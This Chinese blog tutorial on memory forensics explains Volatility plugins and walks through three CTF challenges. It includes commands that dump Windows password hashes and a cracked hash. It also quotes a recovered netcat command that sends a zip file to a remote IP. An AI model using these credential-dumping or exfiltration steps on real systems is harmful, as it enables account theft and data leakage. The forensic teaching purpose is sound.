简介:
网络与信息技术的加速渗透和深度应用以及软件漏洞不断涌现,导致网络攻击和网络犯罪频发,造成了严重的网络安全威胁.计算机取证是打击计算机与网络犯罪的关键技术,其目的是将犯罪者留在计算机中的“攻击痕迹”提取出来,作为有效的诉讼证据提供给法庭,以便将犯罪嫌疑人绳之以法。
作为一种实时提取数字证据、对抗网络攻击、打击网络犯罪的有力武器,内存取证已成为信息安全领域研究者所共同关注的热点。

内存的获取方法:

  1. 基于硬件的内存获取
  2. 基于软件的内存获取

Windows操作系统平台支持内存获取的常见工具有:

DumpIt (早期版本名为Win32dd)
Belkasoft RAMCapturer
Magnet RAM Capture
WinEn
Winpmem
EnCase Imager
FTK Imager
取证大师
取证神探

Linux操作系统常见的内存获取工具:

dd (适合Linux早期版本)
LiME http://code.google.com/p/lime-forensics/
linpmem
Draugr http://code.google.com/p/draugr/
Volatilitux http://code.google.com/p/volatilitux/
Memfetch http://lcamtuf.coredump.cx/
Memdump

MacOSX操作系统内存获取工具有:

MacMemoryReader
osxpmem
Recon for Mac OSX
Blackbag MacQuisitio

得到内存之后就是最重要的一步,就是内存取证分析。

内存分析技术
Windows操作系统获取出的物理内存镜像需要使用专门的内存分析工具。常见的内存分析工具有Volatility、Rekall、Forensic Toolkit(FTK)、取证大师及取证神探等,可以解析出常见的基本信息,包括进程信息、网络连接、加载的DLL文件及注册表加载信息等。

在这里笔者使用的是volalitity取证工具(新版本的kail好像已经没有这个软件,需要自行下载)

常用插件:
imageinfo:显示目标镜像的摘要信息,知道镜像的操作系统后,就可以在 –profile 中带上对应的操作系统
pslist:该插件列举出系统进程,但它不能检测到隐藏或者解链的进程,psscan可以
psscan:可以找到先前已终止(不活动)的进程以及被rootkit隐藏或解链的进程
pstree:以树的形式查看进程列表,和pslist一样,也无法检测隐藏或解链的进程
mendump:提取出指定进程,常用foremost 来分离里面的文件
filescan:扫描所有的文件列表
hashdump:查看当前操作系统中的 password hash,例如 Windows 的 SAM 文件内容
svcscan:扫描 Windows 的服务
connscan:查看网络连接

Volatility语法规则

python2 vol.py --help //使用-h或者–help可以列举出所有可用的选项以及插件


python2 vol.py --info //–info可以打印出所有已经注册的对象(插件)


Profiles对于windows的内存取证来说至关重要。

Profiles(配置文件)

profile是特定操作系统版本以及硬件体系结构(x86,x64,ARM)中VTypes,共用体,对象类型的集合.除了这些组件以外,profile还包括如下:

元数据:操作系统的名称(例如:”windows”,”mac”,”linux”),内核版本,以及编译号. 
系统调用信息:索引以及系统调用的名称 
常量值:全局变量-在某些操作系统中能够在硬编码的地址处找到的全局变量 
系统映射:关键全局变量和函数的地址(仅限Linux和Mac)

每个profile(配置文件)有个一个唯一的名称,通常是由操作系统的名称,版本,服务包,系统结构等信息组成.例如:Win7SP1x64是64位的Windows 7 SP1系统配置文件的名称。

常规命令格式

python2   vol.py  -f  <文件名> --profile=<配置文件>  <插件>  [插件参数]

栗子:

python vol.py -f lemon.raw --profile=Win7SP1x86 volshell

但是--profile如何确定配置文件呢?

如果我们不指定–profile这个选项的话,默认这个选项为WinXPSP2x86.

我们可以使用imageinfo插件来猜测dump文件的profile值.

python2 vol.py -f lemon.raw imageinfo


我们可以注意到这里有多个profile值可选.因为这些操作系统的很多特性都是类似的.imageinfo这个插件猜测profile值的功能是基于kdbgscan这个插件的功能来实现的.而kdbgscan这个插件是通过查找分析内核调试器数据块(_KDDEBUGGER_DATA64)的特征来猜测profile值的。

调试器数据结构位于NT内核模块中(nt!KdDebuggerDataBlock).它包含一个编译字符串,比如:3790.srv03_sp2_rtm.070216-1710,数字值指明了目标操作系统的主,次版本号以及服务包号。

kdbgscan插件扫描dump文件的profile值


可以看到有多个结果,通常来说第一个结果是正确的.imageinfo,kdbgscan这两个插件仅适用于Windows系统的内存dump文件.而Linux,Mac确定正确的profile值有其他的方法.

现在我们就可以指定profile这个选项的值了.

python2 vol.py -f 1emon.raw --profile=Win7SP1x86_23418volshell

volshell这个插件用于进入Volatility专属的shell.在该shell中可以利用dt(“内核关键数据结构名称”)命令来查看操作系统内核关键数据结构的定义

列举进程

python2 vol.py -f 1emon.raw --profile=Win7SP1x86_23418pslist

开始时间进程数,占用进程名称.但是pslist这个命令无法显示出隐藏的进程。

查看当前显示的notepad文本 python2 vol.py -f file.raw --profile=WinXPSP2x86 notepad
进程里面可能会隐藏flag等关键信息,可以使用以下命令查看dump strings -e l 252.dmp | grep flag
-e的参数为编码方式,其中l为16-bit编码
扫描所有的文件列表(常常结合grep) python2 vol.py -f file.raw --profile=WinXPSP2x86 filescan
根据offset提取出文件 python2 vol.py -f file.raw --profile=WinXPSP2x86 dumpfiles -D . -Q 0x…..
扫描 Windows 的服务 python2 vol.py -f file.raw --profile=WinXPSP2x86 svcscan
查看网络连接 python2 vol.py -f file.raw --profile=WinXPSP2x86 connscan
查看命令行上的操作 python2 vol.py -f file.raw --profile=WinXPSP2x86 cmdscan
根据pid dump出相应的进程 python2 vol.py -f file.raw --profile=WinXPSP2x86 memdump -p 2580 -D 目录 //-p的参数为进程ID
-D的参数为保存文件的路径
查看网络通讯连接 python2 vol.py -f file.raw --profile=WinXPSP2x86 netscan
查看最后关机时间 python2 vol.py -f file.raw --profile=WinXPSP2x86 shutdowntime
查看Windows帐户hash python2 vol.py -f file.raw --profile=WinXPSP2x86 hashdump

进程里面可能会隐藏flag等关键信息,可以使用以下命令查看dump

strings -e l 252.dmp | grep flag //-e的参数为编码方式,其中l为16-bit编码

列举注册表
volatility -f 1.raw --profile=Win7SP1x86 hivelist

导出注册表volatility -f 1.raw --profile=Win7SP1x86 hivedump -o 0x93fc41e8(注册表的 virtual 地址)

获取浏览器浏览历史
volatility -f 1.raw --profile=Win7SP1x86 iehistory

扫描文件
volatility -f 1.raw --profile=Win7SP1x86 filescan | grep flag //filescan会扫描内存中所有文件

如果要提取的话,使用dumpfiles提取文件volatility -f 1.raw --profile=Win7SP1x86 dumpfiles -Q 0x000000003e71e608 --dump-dir=./
-Q的参数为 内存地址
--dump-dir的参数为导出文件的目录

列举用户及密码
volatility -f 1.raw --profile=Win7SP1x86 printkey -K "SAM\Domains\Account\Users\Names"

获取最后登陆系统的用户

volatility -f 1.raw --profile=Win7SP1x86 printkey -K "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

上面的命令就不详细的操作了。

下面开始做一些题,以练促学。

V&N 2020 公开赛 内存取证

下载raw文件,拉进kail


得到镜像信息。

查看进程


有几个可疑的进程

Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0x83c0ad40 TrueCrypt.exe          3364   3188      7      388      1      0 2020-02-18 19:52:44 UTC+0000
0x837f5d40 notepad.exe            3552   1964      2       61      1      0 2020-02-18 19:53:07 UTC+0000
0x82a7e568 iexplore.exe           3640   1964     16      468      1      0 2020-02-18 19:53:29 UTC+0000
0x847c8030 iexplore.exe           3696   3640     25      610      1      0 2020-02-18 19:53:29 UTC+0000
0x848a7030 mspaint.exe            2648   1964     18      383      1      0 2020-02-18 19:54:01 UTC+0000
0x83922030 DumpIt.exe             1500   1964      2       39      1      0 2020-02-18 19:56:22 UTC+0000

TrueCrypt 一个磁盘软件
notepad 万能的记事本
iexplore 浏览器
mspaint 画图
DumpIt 内存读取工具

python2 vol.py -f mem.raw --profile=Win7SP1x64 memdump -p 2648 -D ./

换个思维想,谁又会无端打开画图工具,我们先把可疑的进程都dump下来。

又查看了浏览器的历史记录


得到一个云盘链接,应该是那个VOL的下载链接吧!

在前面我们讲画图程序dump下来了,改一下后缀2648.dmp为2648.data。

然后用gimp配合使用。


得到一个字符串1YxfCQ6goYBD6Q

然后用命令对记事本的内容进行dump

python2 vol.py -f mem.raw --profile=Win7SP1x86_23418 editbox

得到了云盘链接和提取码,下载是个VOL文件。

接下来用工具EFDD

第一步

第二步

第三步

第四步

第五步

第四步

已经成功挂载F盘了

访问F盘


得到了一串字符。

下一步就是使用TrueCrypt


将刚刚key里的字符串输入进去,挂载成功。


画图得到的字符串就是密码


得到了flag。、

不得不说套娃真的是服了。

easy_dump


查看一下信息。


列出进程。

查看一下有没有可疑的进程,然后dump下来。

这里我将记事本dump下来。

python2 vol.py -f easy_dump.img --profile=Win7SP1x64 memdump -p 2616 -D ./ 

然后再用命令:strings -e l 2616.dmp | grep "flag"

去2616里找flag。


flag没有但是有奇怪的照片。

python2 vol.py -f easy_dump.img --profile=Win7SP1x64 filescan | grep "jpg"

去找jpg图片


使用命令:python2 vol.py -f easy_dump.img --profile=Win7SP1x64 dumpfiles -Q 0x000000002408c460 -D ./

将图片dump下载过来。

打开也没什么东西。


binwalk看一下发现里面还有一个zip文件。

那麽就用foremost将其分离出来。


分离出来还是打不开。

再次使用foremost却没有成功,试了一下binwalk分离,成功的得到了hints.txt文件。


类似于坐标。

import matplotlib.pyplot as plt
import numpy as npx = []
y = []
with open('hint.txt','r') as f:datas = f.readlines()for data in datas:arr = data.split(' ')x.append(int(arr[0]))y.append(int(arr[1]))plt.plot(x,y,'ks',ms=1)
plt.show()

脚本转换。


手机扫了以下,主要内容key:aeolus,但是他把加密文件删除了。

这里使用testdisk这个工具(kali自带)来恢复被删除的文件。

输入:testdisk xxx 即可进入软件内部操作
Proceed:继续
Quit:退出,关闭

[ Analyse ] 分析正确的分区结构并找到丢失的分区表
[ Advanced ] 文件系统工具
[ Geometry ] 更改硬盘类型
[ Options ] 修改高级选项
[ Quit ] 返回到硬盘检测

[ Type ] :改变文件系统的类型,这种修改并不会真正改变硬盘上的真正格式。
[Superblock] :列出超级块,这是文件系统的基本元数据。
[ List ] :列出所有文件,并复制(恢复)出来
[Image Creation] :对当前分区创建镜像文件
[ Quit ]:退出,返回

红色文件就表示已经删除的文件。当然你也可以选择一个红色的目录,表示恢复整个目录。

最终找到了被删除的文件


选择红色文件,小写c选择导出路径。


成功导出。


维吉尼亚解密字符串yise!dmsx_tthv_arr_didvi就可以得到flag。


内存取证三项CTF


题目说明了是取证题。

python2 vol.py -f 1.raw imageinfo      //查看配置信息

第一问写的什么,那就打开记事本

python2 vol.py -f 1.raw --profile=WinXPSP2x86 notepad

得到文本:666C61677B57336C6563306D655F376F5F466F72336E356963737D

观察只有0-9,字母最多知道F,十六进制(base16),可能是base16


第一问解决。

小白的密码,我们可以使用hashdump查看

python2 vol.py -f 1.raw --profile=WinXPSP2x86 hashdump

对:1e581aafa474dfadfdf83fc31e4fd4ea解密。

flag{19950101}

机密文件是什么?

小白的电脑给小黑的电脑发送了文件,肯定会建立连接。

python2 vol.py -f 1.raw --profile=WinXPSP2x86 connscan 

本机192.168.57.21的1045与远程主机192.168.57.14的2333端口建立了连接,进程120.

python2 vol.py -f 1.raw --profile=WinXPSP2x86 pslist

列出进程。


cmd进程也有

python2 vol.py -f 1.raw --profile=WinXPSP2x86 cmdscan    //提取cmd命令记录

第一个命令就有问题了。

ipconfig
cd C:\Program Files\Netcat
nc 192.168.57.14 2333 < P@ssW0rd_is_y0ur_bir7hd4y.zip

发送了一个压缩包。

python2 vol.py -f 1.raw --profile=WinXPSP2x86 memdump -p 120 -D ./

使用命令dump下来,并用binwalk 分析一下


里面还有个txt文本


还有六个压缩包。

进output文件夹里 ls

解压第一个文件时提示需要密码


用刚刚的弱口令出生年月就可以解压得到P@ssW0rd_is_y0ur_bir7hd4y.txt

flag{Thi5_Is_s3cr3t!}

内存取证就结束了,以后加油!

浅谈网络安全之内存取证相关推荐

  1. 浅谈C语言内存(栈)

    浅谈C语言内存 文章目录 浅谈C语言内存 内存分配 栈 斐波纳契数列 内存分配 在C语言中内存分别分为栈区(stack).堆区(heap).未初始化全局数据区.已初始化全局数据区.静态常量区(stat ...

  2. 浅谈CPU、内存,硬盘三者关系

    浅谈CPU.内存,硬盘三者关 随着SSD的发展,只要电脑一卡顿,人们会第一想的是换SSD就可以升级电脑性能,其实不尽然.电脑卡顿跟固态硬盘固然有关系,但是它跟CPU和内存条的关系也很多,接下来带大家了 ...

  3. 浅谈网络安全态势感知

    一.基本概念 前美国空军首席科学家Endsley博士给出的动态环境中态势感知的通用定义是: 态势感知是感知大量的时间和空间中的环境要素,理解它们的意义,并预测它们在不久将来的状态. 在这个定义中,我们 ...

  4. 浅谈——网络安全架构设计(二)

    (34条消息) 浅谈--网路安全架构设计(一)_孤城286的博客-CSDN博客 目录 一.实现需求: 二.安全优化: (1)修改后网络架构 (2)安全评估: 三.再优化 (1)优化方案 (2)防火墙区 ...

  5. 浅谈C++中内存分配、函数调用和返回值问题

    在谈述函数调用和返回值问题之前,先来看看C++中内存分配的问题. C++编译器将计算机内存分为代码区和数据区,很显然,代码区就是存放程序代码,而数据区则是存放程序编译和执行过程出现的变量和常量.数据区 ...

  6. 浅谈网络安全应急预案

    已经有计划了,但是没有完成,要一篇WAF,一篇杀伤链,今天呢,说说网络安全中的应急响应. 凡事预则立,不预则废.网络安全应急响应就是要对网络安全有清晰认识,有所预估和准备,从而在一旦发生突发网络安全事 ...

  7. Qt浅谈之一:内存泄露(总结)

    一.简介        Qt内存管理机制:Qt 在内部能够维护对象的层次结构.对于可视元素,这种层次结构就是子组件与父组件的关系:对于非可视元素,则是一个对象与另一个对象的从属关系.在 Qt 中,在 ...

  8. 转:浅谈Linux的内存管理机制

    一 物理内存和虚拟内存          我们知道,直接从物理内存读写数据要比从硬盘读写数据要快的多,因此,我们希望所有数据的读取和写入都在内存完成,而内存是有限的,这样就引出了物理内存与虚拟内存的概 ...

  9. 浅谈Linux的内存管理机制

    一 物理内存和虚拟内存          我们知道,直接从物理内存读写数据要比从硬盘读写数据要快的多,因此,我们希望所有数据的读取和写入都在内存完成,而内存是有限的,这样就引出了物理内存与虚拟内存的概 ...

  10. 浅谈CPU、内存、虚拟内存、硬盘之间的关系

    2019独角兽企业重金招聘Python工程师标准>>> 大家都知道组装电脑需要CPU硬盘,内存等硬件,系统中还含有虚拟内存,对于其中的相互关系,大家可能不了解! 下面用最简明易懂的语 ...

最新文章

  1. JS子窗口调用父窗口中的函数
  2. 真假应用傻傻分不清,HideIcon病毒玩起“隐身计”
  3. 【机房重构】一步一步往上爬——验收给了我什么
  4. java也可以做黑客?
  5. java,类的构造方法
  6. shop--8.店铺管理页面的开发
  7. 黄聪:基于jQuery+JSON的省市区三级地区联动
  8. oracle out of bounds,如何通过不具有ArrayIndexOutOfBoundsException的executeBatch获取生成的键?...
  9. 苍井空详细介绍(婚后生活)
  10. 【李沐精读GNN论文总结】A Gentle Introduction to Graph Neural Networks
  11. CSS 实现水晶按钮特效 - 来自 www.codesc.net
  12. 计算机基础教案8,计算机应用基础教案8.2修饰演示文稿
  13. 群星闪耀 视觉科技史上引领我们前进的不朽瞬间
  14. RK3288——LCD裸机
  15. vscode如何运行python文件_vscode怎么运行.py文件_编程开发工具
  16. 【云原生分布式存储】成书心路历程
  17. 离散数学 习题篇 —— k倍区间
  18. ArcGIS线转面的方法-收藏(转)
  19. DiskGenius
  20. html语言 特效字,html特效文字代码1...

热门文章

  1. Ubuntu配置阿里云镜像
  2. Ubuntu下如何使用编译使用john-1.9.0源码
  3. R 两表格跟据某列相同值进行合并
  4. Unity 遮挡剔除
  5. PAT甲级 1087 条条大路通罗马
  6. 【网安入门】学习笔记(一)
  7. 华为手机多屏互动功能使用
  8. C#MySql.Data报错Guid should contain 32 digits with 4 dashes (xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)
  9. windows常用快捷键(截图,录屏,放大镜,虚拟桌面,写字板,资源管理器快捷键)
  10. 变量、参数和内存分配